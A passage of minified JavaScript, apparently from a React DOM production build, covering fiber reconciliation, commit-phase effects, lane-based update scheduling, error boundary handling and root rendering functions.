te.componentWillUnmount=="function"){l=M,a=M.return;try{n=l,te.props=n.memoizedProps,te.state=n.memoizedState,te.componentWillUnmount()}catch(ne){Ve(l,a,ne)}}break;case 5:Mr(M,M.return);break;case 22:if(M.memoizedState!==null){Ip(q);continue}}K!==null?(K.return=M,Y=K):Ip(q)}U=U.sibling}e:for(U=null,q=e;;){if(q.tag===5){if(U===null){U=q;try{c=q.stateNode,R?(f=c.style,typeof f.setProperty=="function"?f.setProperty("display","none","important"):f.display="none"):(_=q.stateNode,I=q.memoizedProps.style,v=I!=null&&I.hasOwnProperty("display")?I.display:null,_.style.display=tc("display",v))}catch(ne){Ve(e,e.return,ne)}}}else if(q.tag===6){if(U===null)try{q.stateNode.nodeValue=R?"":q.memoizedProps}catch(ne){Ve(e,e.return,ne)}}else if((q.tag!==22&&q.tag!==23||q.memoizedState===null||q===e)&&q.child!==null){q.child.return=q,q=q.child;continue}if(q===e)break e;for(;q.sibling===null;){if(q.return===null||q.return===e)break e;U===q&&(U=null),q=q.return}U===q&&(U=null),q.sibling.return=q.return,q=q.sibling}}break;case 19:Ht(n,e),rn(e),l&4&&_p(e);break;case 21:break;default:Ht(n,e),rn(e)}}function rn(e){var n=e.flags;if(n&2){try{e:{for(var a=e.return;a!==null;){if(hp(a)){var l=a;break e}a=a.return}throw Error(i(160))}switch(l.tag){case 5:var c=l.stateNode;l.flags&32&&(ao(c,""),l.flags&=-33);var f=gp(e);hl(e,f,c);break;case 3:case 4:var v=l.stateNode.containerInfo,_=gp(e);vl(e,_,v);break;default:throw Error(i(161))}}catch(I){Ve(e,e.return,I)}e.flags&=-3}n&4096&&(e.flags&=-4097)}function mg(e,n,a){Y=e,xp(e)}function xp(e,n,a){for(var l=(e.mode&1)!==0;Y!==null;){var c=Y,f=c.child;if(c.tag===22&&l){var v=c.memoizedState!==null||Ji;if(!v){var _=c.alternate,I=_!==null&&_.memoizedState!==null||ct;_=Ji;var R=ct;if(Ji=v,(ct=I)&&!R)for(Y=c;Y!==null;)v=Y,I=v.child,v.tag===22&&v.memoizedState!==null?Sp(c):I!==null?(I.return=v,Y=I):Sp(c);for(;f!==null;)Y=f,xp(f),f=f.sibling;Y=c,Ji=_,ct=R}Ep(e)}else(c.subtreeFlags&8772)!==0&&f!==null?(f.return=c,Y=f):Ep(e)}}function Ep(e){for(;Y!==null;){var n=Y;if((n.flags&8772)!==0){var a=n.alternate;try{if((n.flags&8772)!==0)switch(n.tag){case 0:case 11:case 15:ct||Ki(5,n);break;case 1:var l=n.stateNode;if(n.flags&4&&!ct)if(a===null)l.componentDidMount();else{var c=n.elementType===n.type?a.memoizedProps:Vt(n.type,a.memoizedProps);l.componentDidUpdate(c,a.memoizedState,l.__reactInternalSnapshotBeforeUpdate)}var f=n.updateQueue;f!==null&&Id(n,f,l);break;case 3:var v=n.updateQueue;if(v!==null){if(a=null,n.child!==null)switch(n.child.tag){case 5:a=n.child.stateNode;break;case 1:a=n.child.stateNode}Id(n,v,a)}break;case 5:var _=n.stateNode;if(a===null&&n.flags&4){a=_;var I=n.memoizedProps;switch(n.type){case"button":case"input":case"select":case"textarea":I.autoFocus&&a.focus();break;case"img":I.src&&(a.src=I.src)}}break;case 6:break;case 4:break;case 12:break;case 13:if(n.memoizedState===null){var R=n.alternate;if(R!==null){var U=R.memoizedState;if(U!==null){var q=U.dehydrated;q!==null&&yo(q)}}}break;case 19:case 17:case 21:case 22:case 23:case 25:break;default:throw Error(i(163))}ct||n.flags&512&&ml(n)}catch(M){Ve(n,n.return,M)}}if(n===e){Y=null;break}if(a=n.sibling,a!==null){a.return=n.return,Y=a;break}Y=n.return}}function Ip(e){for(;Y!==null;){var n=Y;if(n===e){Y=null;break}var a=n.sibling;if(a!==null){a.return=n.return,Y=a;break}Y=n.return}}function Sp(e){for(;Y!==null;){var n=Y;try{switch(n.tag){case 0:case 11:case 15:var a=n.return;try{Ki(4,n)}catch(I){Ve(n,a,I)}break;case 1:var l=n.stateNode;if(typeof l.componentDidMount=="function"){var c=n.return;try{l.componentDidMount()}catch(I){Ve(n,c,I)}}var f=n.return;try{ml(n)}catch(I){Ve(n,f,I)}break;case 5:var v=n.return;try{ml(n)}catch(I){Ve(n,v,I)}}}catch(I){Ve(n,n.return,I)}if(n===e){Y=null;break}var _=n.sibling;if(_!==null){_.return=n.return,Y=_;break}Y=n.return}}var vg=Math.ceil,Qi=G.ReactCurrentDispatcher,gl=G.ReactCurrentOwner,Lt=G.ReactCurrentBatchConfig,_e=0,nt=null,Ge=null,at=0,Bt=0,Fr=Tn(0),Xe=0,Fo=null,sr=0,Yi=0,yl=0,Uo=null,_t=null,_l=0,Ur=1/0,fn=null,Xi=!1,wl=null,On=null,ea=!1,jn=null,ta=0,Zo=0,xl=null,na=-1,ra=0;function pt(){return(_e&6)!==0?We():na!==-1?na:na=We()}function $n(e){return(e.mode&1)===0?1:(_e&2)!==0&&at!==0?at&-at:Yh.transition!==null?(ra===0&&(ra=gc()),ra):(e=be,e!==0||(e=window.event,e=e===void 0?16:bc(e.type)),e)}function Gt(e,n,a,l){if(50<Zo)throw Zo=0,xl=null,Error(i(185));fo(e,a,l),((_e&2)===0||e!==nt)&&(e===nt&&((_e&2)===0&&(Yi|=a),Xe===4&&Ln(e,at)),wt(e,l),a===1&&_e===0&&(n.mode&1)===0&&(Ur=We()+500,Ri&&Rn()))}function wt(e,n){var a=e.callbackNode;Yv(e,n);var l=pi(e,e===nt?at:0);if(l===0)a!==null&&mc(a),e.callbackNode=null,e.callbackPriority=0;else if(n=l&-l,e.callbackPriority!==n){if(a!=null&&mc(a),n===1)e.tag===0?Qh(bp.bind(null,e)):dd(bp.bind(null,e)),Hh(function(){(_e&6)===0&&Rn()}),a=null;else{switch(yc(l)){case 1:a=es;break;case 4:a=vc;break;case 16:a=li;break;case 536870912:a=hc;break;default:a=li}a=Ap(a,kp.bind(null,e))}e.callbackPriority=n,e.callbackNode=a}}function kp(e,n){if(na=-1,ra=0,(_e&6)!==0)throw Error(i(327));var a=e.callbackNode;if(Zr()&&e.callbackNode!==a)return null;var l=pi(e,e===nt?at:0);if(l===0)return null;if((l&30)!==0||(l&e.expiredLanes)!==0||n)n=oa(e,l);else{n=l;var c=_e;_e|=2;var f=Cp();(nt!==e||at!==n)&&(fn=null,Ur=We()+500,ur(e,n));do try{yg();break}catch(_){zp(e,_)}while(!0);Ds(),Qi.current=f,_e=c,Ge!==null?n=0:(nt=null,at=0,n=Xe)}if(n!==0){if(n===2&&(c=ts(e),c!==0&&(l=c,n=El(e,c))),n===1)throw a=Fo,ur(e,0),Ln(e,l),wt(e,We()),a;if(n===6)Ln(e,l);else{if(c=e.current.alternate,(l&30)===0&&!hg(c)&&(n=oa(e,l),n===2&&(f=ts(e),f!==0&&(l=f,n=El(e,f))),n===1))throw a=Fo,ur(e,0),Ln(e,l),wt(e,We()),a;switch(e.finishedWork=c,e.finishedLanes=l,n){case 0:case 1:throw Error(i(345));case 2:cr(e,_t,fn);break;case 3:if(Ln(e,l),(l&130023424)===l&&(n=_l+500-We(),10<n)){if(pi(e,0)!==0)break;if(c=e.suspendedLanes,(c&l)!==l){pt(),e.pingedLanes|=e.suspendedLanes&c;break}e.timeoutHandle=Cs(cr.bind(null,e,_t,fn),n);break}cr(e,_t,fn);break;case 4:if(Ln(e,l),(l&4194240)===l)break;for(n=e.eventTimes,c=-1;0<l;){var v=31-Ut(l);f=1<<v,v=n[v],v>c&&(c=v),l&=~f}if(l=c,l=We()-l,l=(120>l?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*vg(l/1960))-l,10<l){e.timeoutHandle=Cs(cr.bind(null,e,_t,fn),l);break}cr(e,_t,fn);break;case 5:cr(e,_t,fn);break;default:throw Error(i(329))}}}return wt(e,We()),e.callbackNode===a?kp.bind(null,e):null}function El(e,n){var a=Uo;return e.current.memoizedState.isDehydrated&&(ur(e,n).flags|=256),e=oa(e,n),e!==2&&(n=_t,_t=a,n!==null&&Il(n)),e}function Il(e){_t===null?_t=e:_t.push.apply(_t,e)}function hg(e){for(var n=e;;){if(n.flags&16384){var a=n.updateQueue;if(a!==null&&(a=a.stores,a!==null))for(var l=0;l<a.length;l++){var c=a[l],f=c.getSnapshot;c=c.value;try{if(!Zt(f(),c))return!1}catch{return!1}}}if(a=n.child,n.subtreeFlags&16384&&a!==null)a.return=n,n=a;else{if(n===e)break;for(;n.sibling===null;){if(n.return===null||n.return===e)return!0;n=n.return}n.sibling.return=n.return,n=n.sibling}}return!0}function Ln(e,n){for(n&=~yl,n&=~Yi,e.suspendedLanes|=n,e.pingedLanes&=~n,e=e.expirationTimes;0<n;){var a=31-Ut(n),l=1<<a;e[a]=-1,n&=~l}}function bp(e){if((_e&6)!==0)throw Error(i(327));Zr();var n=pi(e,0);if((n&1)===0)return wt(e,We()),null;var a=oa(e,n);if(e.tag!==0&&a===2){var l=ts(e);l!==0&&(n=l,a=El(e,l))}if(a===1)throw a=Fo,ur(e,0),Ln(e,n),wt(e,We()),a;if(a===6)throw Error(i(345));return e.finishedWork=e.current.alternate,e.finishedLanes=n,cr(e,_t,fn),wt(e,We()),null}function Sl(e,n){var a=_e;_e|=1;try{return e(n)}finally{_e=a,_e===0&&(Ur=We()+500,Ri&&Rn())}}function lr(e){jn!==null&&jn.tag===0&&(_e&6)===0&&Zr();var n=_e;_e|=1;var a=Lt.transition,l=be;try{if(Lt.transition=null,be=1,e)return e()}finally{be=l,Lt.transition=a,_e=n,(_e&6)===0&&Rn()}}function kl(){Bt=Fr.current,Ne(Fr)}function ur(e,n){e.finishedWork=null,e.finishedLanes=0;var a=e.timeoutHandle;if(a!==-1&&(e.timeoutHandle=-1,Wh(a)),Ge!==null)for(a=Ge.return;a!==null;){var l=a;switch(As(l),l.tag){case 1:l=l.type.childContextTypes,l!=null&&Ti();break;case 3:Lr(),Ne(ht),Ne(st),Hs();break;case 5:Vs(l);break;case 4:Lr();break;case 13:Ne(De);break;case 19:Ne(De);break;case 10:Ms(l.type._context);break;case 22:case 23:kl()}a=a.return}if(nt=e,Ge=e=Dn(e.current,null),at=Bt=n,Xe=0,Fo=null,yl=Yi=sr=0,_t=Uo=null,or!==null){for(n=0;n<or.length;n++)if(a=or[n],l=a.interleaved,l!==null){a.interleaved=null;var c=l.next,f=a.pending;if(f!==null){var v=f.next;f.next=c,l.next=v}a.pending=l}or=null}return e}function zp(e,n){do{var a=Ge;try{if(Ds(),Fi.current=Vi,Ui){for(var l=Me.memoizedState;l!==null;){var c=l.queue;c!==null&&(c.pending=null),l=l.next}Ui=!1}if(ar=0,tt=Ye=Me=null,Oo=!1,jo=0,gl.current=null,a===null||a.return===null){Xe=1,Fo=n,Ge=null;break}e:{var f=e,v=a.return,_=a,I=n;if(n=at,_.flags|=32768,I!==null&&typeof I=="object"&&typeof I.then=="function"){var R=I,U=_,q=U.tag;if((U.mode&1)===0&&(q===0||q===11||q===15)){var M=U.alternate;M?(U.updateQueue=M.updateQueue,U.memoizedState=M.memoizedState,U.lanes=M.lanes):(U.updateQueue=null,U.memoizedState=null)}var K=Yd(v);if(K!==null){K.flags&=-257,Xd(K,v,_,f,n),K.mode&1&&Qd(f,R,n),n=K,I=R;var te=n.updateQueue;if(te===null){var ne=new Set;ne.add(I),n.updateQueue=ne}else te.add(I);break e}else{if((n&1)===0){Qd(f,R,n),bl();break e}I=Error(i(426))}}else if(Oe&&_.mode&1){var He=Yd(v);if(He!==null){(He.flags&65536)===0&&(He.flags|=256),Xd(He,v,_,f,n),$s(Dr(I,_));break e}}f=I=Dr(I,_),Xe!==4&&(Xe=2),Uo===null?Uo=[f]:Uo.push(f),f=v;do{switch(f.tag){case 3:f.flags|=65536,n&=-n,f.lanes|=n;var C=Jd(f,I,n);Ed(f,C);break e;case 1:_=I;var k=f.type,B=f.stateNode;if((f.flags&128)===0&&(typeof k.getDerivedStateFromError=="function"||B!==null&&typeof B.componentDidCatch=="function"&&(On===null||!On.has(B)))){f.flags|=65536,n&=-n,f.lanes|=n;var V=Kd(f,_,n);Ed(f,V);break e}}f=f.return}while(f!==null)}Bp(a)}catch(re){n=re,Ge===a&&a!==null&&(Ge=a=a.return);continue}break}while(!0)}function Cp(){var e=Qi.current;return Qi.current=Vi,e===null?Vi:e}function bl(){(Xe===0||Xe===3||Xe===2)&&(Xe=4),nt===null||(sr&268435455)===0&&(Yi&268435455)===0||Ln(nt,at)}function oa(e,n){var a=_e;_e|=2;var l=Cp();(nt!==e||at!==n)&&(fn=null,ur(e,n));do try{gg();break}catch(c){zp(e,c)}while(!0);if(Ds(),_e=a,Qi.current=l,Ge!==null)throw Error(i(261));return nt=null,at=0,Xe}function gg(){for(;Ge!==null;)Tp(Ge)}function yg(){for(;Ge!==null&&!Zv();)Tp(Ge)}function Tp(e){var n=Np(e.alternate,e,Bt);e.memoizedProps=e.pendingProps,n===null?Bp(e):Ge=n,gl.current=null}function Bp(e){var n=e;do{var a=n.alternate;if(e=n.return,(n.flags&32768)===0){if(a=cg(a,n,Bt),a!==null){Ge=a;return}}else{if(a=dg(a,n),a!==null){a.flags&=32767,Ge=a;return}if(e!==null)e.flags|=32768,e.subtreeFlags=0,e.deletions=null;else{Xe=6,Ge=null;return}}if(n=n.sibling,n!==null){Ge=n;return}Ge=n=e}while(n!==null);Xe===0&&(Xe=5)}function cr(e,n,a){var l=be,c=Lt.transition;try{Lt.transition=null,be=1,_g(e,n,a,l)}finally{Lt.transition=c,be=l}return null}function _g(e,n,a,l){do Zr();while(jn!==null);if((_e&6)!==0)throw Error(i(327));a=e.finishedWork;var c=e.finishedLanes;if(a===null)return null;if(e.finishedWork=null,e.finishedLanes=0,a===e.current)throw Error(i(177));e.callbackNode=null,e.callbackPriority=0;var f=a.lanes|a.childLanes;if(Xv(e,f),e===nt&&(Ge=nt=null,at=0),(a.subtreeFlags&2064)===0&&(a.flags&2064)===0||ea||(ea=!0,Ap(li,function(){return Zr(),null})),f=(a.flags&15990)!==0,(a.subtreeFlags&15990)!==0||f){f=Lt.transition,Lt.transition=null;var v=be;be=1;var _=_e;_e|=4,gl.current=null,fg(e,a),wp(a,e),Dh(bs),vi=!!ks,bs=ks=null,e.current=a,mg(a),qv(),_e=_,be=v,Lt.transition=f}else e.current=a;if(ea&&(ea=!1,jn=e,ta=c),f=e.pendingLanes,f===0&&(On=null),Hv(a.stateNode),wt(e,We()),n!==null)for(l=e.onRecoverableError,a=0;a<n.length;a++)c=n[a],l(c.value,{componentStack:c.stack,digest:c.digest});if(Xi)throw Xi=!1,e=wl,wl=null,e;return(ta&1)!==0&&e.tag!==0&&Zr(),f=e.pendingLanes,(f&1)!==0?e===xl?Zo++:(Zo=0,xl=e):Zo=0,Rn(),null}function Zr(){if(jn!==null){var e=yc(ta),n=Lt.transition,a=be;try{if(Lt.transition=null,be=16>e?16:e,jn===null)var l=!1;else{if(e=jn,jn=null,ta=0,(_e&6)!==0)throw Error(i(331));var c=_e;for(_e|=4,Y=e.current;Y!==null;){var f=Y,v=f.child;if((Y.flags&16)!==0){var _=f.deletions;if(_!==null){for(var I=0;I<_.length;I++){var R=_[I];for(Y=R;Y!==null;){var U=Y;switch(U.tag){case 0:case 11:case 15:Mo(8,U,f)}var q=U.child;if(q!==null)q.return=U,Y=q;else for(;Y!==null;){U=Y;var M=U.sibling,K=U.return;if(vp(U),U===R){Y=null;break}if(M!==null){M.return=K,Y=M;break}Y=K}}}var te=f.alternate;if(te!==null){var ne=te.child;if(ne!==null){te.child=null;do{var He=ne.sibling;ne.sibling=null,ne=He}while(ne!==null)}}Y=f}}if((f.subtreeFlags&2064)!==0&&v!==null)v.return=f,Y=v;else e:for(;Y!==null;){if(f=Y,(f.flags&2048)!==0)switch(f.tag){case 0:case 11:case 15:Mo(9,f,f.return)}var C=f.sibling;if(C!==null){C.return=f.return,Y=C;break e}Y=f.return}}var k=e.current;for(Y=k;Y!==null;){v=Y;var B=v.child;if((v.subtreeFlags&2064)!==0&&B!==null)B.return=v,Y=B;else e:for(v=k;Y!==null;){if(_=Y,(_.flags&2048)!==0)try{switch(_.tag){case 0:case 11:case 15:Ki(9,_)}}catch(re){Ve(_,_.return,re)}if(_===v){Y=null;break e}var V=_.sibling;if(V!==null){V.return=_.return,Y=V;break e}Y=_.return}}if(_e=c,Rn(),Xt&&typeof Xt.onPostCommitFiberRoot=="function")try{Xt.onPostCommitFiberRoot(ui,e)}catch{}l=!0}return l}finally{be=a,Lt.transition=n}}return!1}function Rp(e,n,a){n=Dr(a,n),n=Jd(e,n,1),e=Nn(e,n,1),n=pt(),e!==null&&(fo(e,1,n),wt(e,n))}function Ve(e,n,a){if(e.tag===3)Rp(e,e,a);else for(;n!==null;){if(n.tag===3){Rp(n,e,a);break}else if(n.tag===1){var l=n.stateNode;if(typeof n.type.getDerivedStateFromError=="function"||typeof l.componentDidCatch=="function"&&(On===null||!On.has(l))){e=Dr(a,e),e=Kd(n,e,1),n=Nn(n,e,1),e=pt(),n!==null&&(fo(n,1,e),wt(n,e));break}}n=n.return}}function wg(e,n,a){var l=e.pingCache;l!==null&&l.delete(n),n=pt(),e.pingedLanes|=e.suspendedLanes&a,nt===e&&(at&a)===a&&(Xe===4||Xe===3&&(at&130023424)===at&&500>We()-_l?ur(e,0):yl|=a),wt(e,n)}function Pp(e,n){n===0&&((e.mode&1)===0?n=1:(n=di,di<<=1,(di&130023424)===0&&(di=4194304)));var a=pt();e=cn(e,n),e!==null&&(fo(e,n,a),wt(e,a))}function xg(e){var n=e.memoizedState,a=0;n!==null&&(a=n.retryLane),Pp(e,a)}function Eg(e,n){var a=0;switch(e.tag){case 13:var l=e.stateNode,c=e.memoizedState;c!==null&&(a=c.retryLane);break;case 19:l=e.stateNode;break;default:throw Error(i(314))}l!==null&&l.delete(n),Pp(e,a)}var Np;Np=function(e,n,a){if(e!==null)if(e.memoizedProps!==n.pendingProps||ht.current)yt=!0;else{if((e.lanes&a)===0&&(n.flags&128)===0)return yt=!1,ug(e,n,a);yt=(e.flags&131072)!==0}else yt=!1,Oe&&(n.flags&1048576)!==0&&pd(n,Ni,n.index);switch(n.lanes=0,n.tag){case 2:var l=n.type;Gi(e,n),e=n.pendingProps;var c=Rr(n,st.current);$r(n,a),c=Ks(null,n,l,e,c,a);var f=Qs();return n.flags|=1,typeof c=="object"&&c!==null&&typeof c.render=="function"&&c.$$typeof===void 0?(n.tag=1,n.memoizedState=null,n.updateQueue=null,gt(l)?(f=!0,Bi(n)):f=!1,n.memoizedState=c.state!==null&&c.state!==void 0?c.state:null,Zs(n),c.updater=Wi,n.stateNode=c,c._reactInternals=n,rl(n,l,e,a),n=sl(null,n,l,!0,f,a)):(n.tag=0,Oe&&f&&Ns(n),dt(null,n,c,a),n=n.child),n;case 16:l=n.elementType;e:{switch(Gi(e,n),e=n.pendingProps,c=l._init,l=c(l._payload),n.type=l,c=n.tag=Sg(l),e=Vt(l,e),c){case 0:n=al(null,n,l,e,a);break e;case 1:n=ip(null,n,l,e,a);break e;case 11:n=ep(null,n,l,e,a);break e;case 14:n=tp(null,n,l,Vt(l.type,e),a);break e}throw Error(i(306,l,""))}return n;case 0:return l=n.type,c=n.pendingProps,c=n.elementType===l?c:Vt(l,c),al(e,n,l,c,a);case 1:return l=n.type,c=n.pendingProps,c=n.elementType===l?c:Vt(l,c),ip(e,n,l,c,a);case 3:e:{if(ap(n),e===null)throw Error(i(387));l=n.pendingProps,f=n.memoizedState,c=f.element,xd(e,n),Di(n,l,null,a);var v=n.memoizedState;if(l=v.element,f.isDehydrated)if(f={element:l,isDehydrated:!1,cache:v.cache,pendingSuspenseBoundaries:v.pendingSuspenseBoundaries,transitions:v.transitions},n.updateQueue.baseState=f,n.memoizedState=f,n.flags&256){c=Dr(Error(i(423)),n),n=sp(e,n,l,a,c);break e}else if(l!==c){c=Dr(Error(i(424)),n),n=sp(e,n,l,a,c);break e}else for(Tt=Cn(n.stateNode.containerInfo.firstChild),Ct=n,Oe=!0,qt=null,a=_d(n,null,l,a),n.child=a;a;)a.flags=a.flags&-3|4096,a=a.sibling;else{if(Ar(),l===c){n=pn(e,n,a);break e}dt(e,n,l,a)}n=n.child}return n;case 5:return Sd(n),e===null&&js(n),l=n.type,c=n.pendingProps,f=e!==null?e.memoizedProps:null,v=c.children,zs(l,c)?v=null:f!==null&&zs(l,f)&&(n.flags|=32),op(e,n),dt(e,n,v,a),n.child;case 6:return e===null&&js(n),null;case 13:return lp(e,n,a);case 4:return qs(n,n.stateNode.containerInfo),l=n.pendingProps,e===null?n.child=Or(n,null,l,a):dt(e,n,l,a),n.child;case 11:return l=n.type,c=n.pendingProps,c=n.elementType===l?c:Vt(l,c),ep(e,n,l,c,a);case 7:return dt(e,n,n.pendingProps,a),n.child;case 8:return dt(e,n,n.pendingProps.children,a),n.child;case 12:return dt(e,n,n.pendingProps.children,a),n.child;case 10:e:{if(l=n.type._context,c=n.pendingProps,f=n.memoizedProps,v=c.value,Te(ji,l._currentValue),l._currentValue=v,f!==null)if(Zt(f.value,v)){if(f.children===c.children&&!ht.current){n=pn(e,n,a);break e}}else for(f=n.child,f!==null&&(f.return=n);f!==null;){var _=f.dependencies;if(_!==null){v=f.child;for(var I=_.firstContext;I!==null;){if(I.context===l){if(f.tag===1){I=dn(-1,a&-a),I.tag=2;var R=f.updateQueue;if(R!==null){R=R.shared;var U=R.pending;U===null?I.next=I:(I.next=U.next,U.next=I),R.pending=I}}f.lanes|=a,I=f.alternate,I!==null&&(I.lanes|=a),Fs(f.return,a,n),_.lanes|=a;break}I=I.next}}else if(f.tag===10)v=f.type===n.type?null:f.child;else if(f.tag===18){if(v=f.return,v===null)throw Error(i(341));v.lanes|=a,_=v.alternate,_!==null&&(_.lanes|=a),Fs(v,a,n),v=f.sibling}else v=f.child;if(v!==null)v.return=f;else for(v=f;v!==null;){if(v===n){v=null;break}if(f=v.sibling,f!==null){f.return=v.return,v=f;break}v=v.return}f=v}dt(e,n,c.children,a),n=n.child}return n;case 9:return c=n.type,l=n.pendingProps.children,$r(n,a),c=jt(c),l=l(c),n.flags|=1,dt(e,n,l,a),n.child;case 14:return l=n.type,c=Vt(l,n.pendingProps),c=Vt(l.type,c),tp(e,n,l,c,a);case 15:return np(e,n,n.type,n.pendingProps,a);case 17:return l=n.type,c=n.pendingProps,c=n.elementType===l?c:Vt(l,c),Gi(e,n),n.tag=1,gt(l)?(e=!0,Bi(n)):e=!1,$r(n,a),Hd(n,l,c),rl(n,l,c,a),sl(null,n,l,!0,e,a);case 19:return cp(e,n,a);case 22:return rp(e,n,a)}throw Error(i(156,n.tag))};function Ap(e,n){return fc(e,n)}function Ig(e,n,a,l){this.tag=e,this.key=a,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=n,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=l,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Dt(e,n,a,l){return new Ig(e,n,a,l)}function zl(e){return e=e.prototype,!(!e||!e.isReactComponent)}function Sg(e){if(typeof e=="function")return zl(e)?1:0;if(e!=null){if(e=e.$$typeof,e===Ke)return 11;if(e===kt)return 14}return 2}function Dn(e,n){var a=e.alternate;return a===null?(a=Dt(e.tag,n,e.key,e.mode),a.elementType=e.elementType,a.type=e.type,a.stateNode=e.stateNode,a.alternate=e,e.alternate=a):(a.pendingProps=n,a.type=e.type,a.flags=0,a.subtreeFlags=0,a.deletions=null),a.flags=e.flags&14680064,a.childLanes=e.childLanes,a.lanes=e.lanes,a.child=e.child,a.memoizedProps=e.memoizedProps,a.memoizedState=e.memoizedState,a.updateQueue=e.updateQueue,n=e.dependencies,a.dependencies=n===null?null:{lanes:n.lanes,firstContext:n.firstContext},a.sibling=e.sibling,a.index=e.index,a.ref=e.ref,a}function ia(e,n,a,l,c,f){var v=2;if(l=e,typeof e=="function")zl(e)&&(v=1);else if(typeof e=="string")v=5;else e:switch(e){case de:return dr(a.children,c,f,n);case pe:v=8,c|=8;break;case Re:return e=Dt(12,a,n,c|2),e.elementType=Re,e.lanes=f,e;case et:return e=Dt(13,a,n,c),e.elementType=et,e.lanes=f,e;case Qe:return e=Dt(19,a,n,c),e.elementType=Qe,e.lanes=f,e;case qe:return aa(a,c,f,n);default:if(typeof e=="object"&&e!==null)switch(e.$$typeof){case ye:v=10;break e;case Ze:v=9;break e;case Ke:v=11;break e;case kt:v=14;break e;case vt:v=16,l=null;break e}throw Error(i(130,e==null?e:typeof e,""))}return n=Dt(v,a,n,c),n.elementType=e,n.type=l,n.lanes=f,n}function dr(e,n,a,l){return e=Dt(7,e,l,n),e.lanes=a,e}function aa(e,n,a,l){return e=Dt(22,e,l,n),e.elementType=qe,e.lanes=a,e.stateNode={isHidden:!1},e}function Cl(e,n,a){return e=Dt(6,e,null,n),e.lanes=a,e}function Tl(e,n,a){return n=Dt(4,e.children!==null?e.children:[],e.key,n),n.lanes=a,n.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},n}function kg(e,n,a,l,c){this.tag=n,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=ns(0),this.expirationTimes=ns(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=ns(0),this.identifierPrefix=l,this.onRecoverableError=c,this.mutableSourceEagerHydrationData=null}function Bl(e,n,a,l,c,f,v,_,I){return e=new kg(e,n,a,_,I),n===1?(n=1,f===!0&&(n|=8)):n=0,f=Dt(3,null,null,n),e.current=f,f.stateNode=e,f.memoizedState={element:l,isDehydrated:a,cache:null,transitions:null,pendingSuspenseBoundaries:null},Zs(f),e}function bg(e,n,a){var l=3<arguments.length&&arguments[3]!==void 0?arguments[3]:null;return{$$typeof:ue,key:l==null?null:""+l,children:e,containerInfo:n,implementation:a}}function Op(e){if(!e)return Bn;e=e._reactInternals;e:{if(Xn(e)!==e||e.tag!==1)throw Error(i(170));var n=e;do{switch(n.tag){case 3:n=n.stateNode.context;break e;case 1:if(gt(n.type)){n=n.stateNode.__reactInternalMemoizedMergedChildContext;break e}}n=n.return}while(n!==null);throw Error(i(171))}if(e.tag===1){var a=e.type;if(gt(a))return ud(e,a,n)}return n}function jp(e,n,a,l,c,f,v,_,I){return e=Bl(a,l,!0,e,c,f,v,_,I),e.context=Op(null),a=e.current,l=pt(),c=$n(a),f=dn(l,c),f.callback=n??null,Nn(a,f,c),e.current.lanes=c,fo(e,c,l),wt(e,l),e}function sa(e,n,a,l){var c=n.current,f=pt(),v=$n(c);return a=Op(a),n.context===null?n.context=a:n.pendingContext=a,n=dn(f,v),n.payload={element:e},l=l===void 0?null:l,l!==null&&(n.callback=l),e=Nn(c,n,v),e!==null&&(Gt(e,c,v,f),Li(e,c,v)),v}function la(e){return e=e.current,e.child?(e.child.tag===5,e.child.stateNode):null}function $p(e,n){if(e=e.memoizedState,e!==null&&e.dehydrated!==null){var a=e.retryLane;e.retryLane=a!==0&&a<n?a:n}}function Rl(e,n){$p(e,n),(e=e.alternate)&&$p(e,n)}function zg(){return null}var Lp=typeof reportError=="function"?reportError:function(e){console.error(e)};function Pl(e){this._internalRoot=e}ua.prototype.render=Pl.prototype.render=function(e){var n=this._internalRoot;if(n===null)throw Error(i(409));sa(e,n,null,null)},ua.prototype.unmount=Pl.prototype.unmount=function(){var e=this._internalRoot;if(e!==null){this._internalRoot=null;var n=e.containerInfo;lr(function(){sa(null,e,null,null)}),n[an]=null}};function ua(e){this._internalRoot=e}ua.prototype.unstable_scheduleHydration=function(e){if(e){var n=xc();e={blockedOn:null,target:e,priority:n};for(var a=0;a<kn.length&&n!==0&&n<kn[a].priority;a++);kn.splice(a,0,e),a===0&&Sc(e)}};function Nl(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11)}function ca(e){return!(!e||e.nodeType!==1&&e.nodeType!==9&&e.nodeType!==11&&(e.nodeType!==8||e.nodeValue!==" react-mount-point-unstable "))}function Dp(){}function Cg(e,n,a,l,c){if(c){if(typeof l=="function"){var f=l;l=function(){var R=la(v);f.call(R)}}var v=jp(n,l,e,0,null,!1,!1,"",Dp);return e._reactRootContainer=v,e[an]=v.current,zo(e.nodeType===8?e.parentNode:e),lr(),v}for(;c=e.lastChild;)e.removeChild(c);if(typeof l=="function"){var _=l;l=function(){var R=la(I);_.call(R)}}var I=Bl(e,0,!1,null,null,!1,!1,"",Dp);return e._reactRootContainer=I,e[an]=I.current,zo(e.nodeType===8?e.parentNode:e),lr(function(){sa(n,I,a,l)}),I}function da(e,n,a,l,c){var f=a._reactRootContainer;if(f){var v=f;if(typeof c=="function"){var _=c;c=function(){var I=la(v);_.call(I)}}sa(n,v,e,c)}else v=Cg(a,n,e,c,l);return la(v)}_c=function(e){switch(e.tag){case 3:var n=e.stateNode;if(n.current.memoizedState.isDehydrated){var a=po(n.pendingLanes);a!==0&&(rs(n,a|1),wt(n,We()),(_e&6)===0&&(Ur=We()+500,Rn()))}break;case 13:lr(function(){var l=cn(e,1);if(l!==null){var c=pt();Gt(l,e,1,c)}}),Rl(e,1)}},os=function(e){if(e.tag===13){var n=cn(e,134217728);if(n!==null){var a=pt();Gt(n,e,134217728,a)}Rl(e,134217728)}},wc=function(e){if(e.tag===13){var n=$n(e),a=cn(e,n);if(a!==null){var l=pt();Gt(a,e,n,l)}Rl(e,n)}},xc=function(){return be},Ec=function(e,n){var a=be;try{return 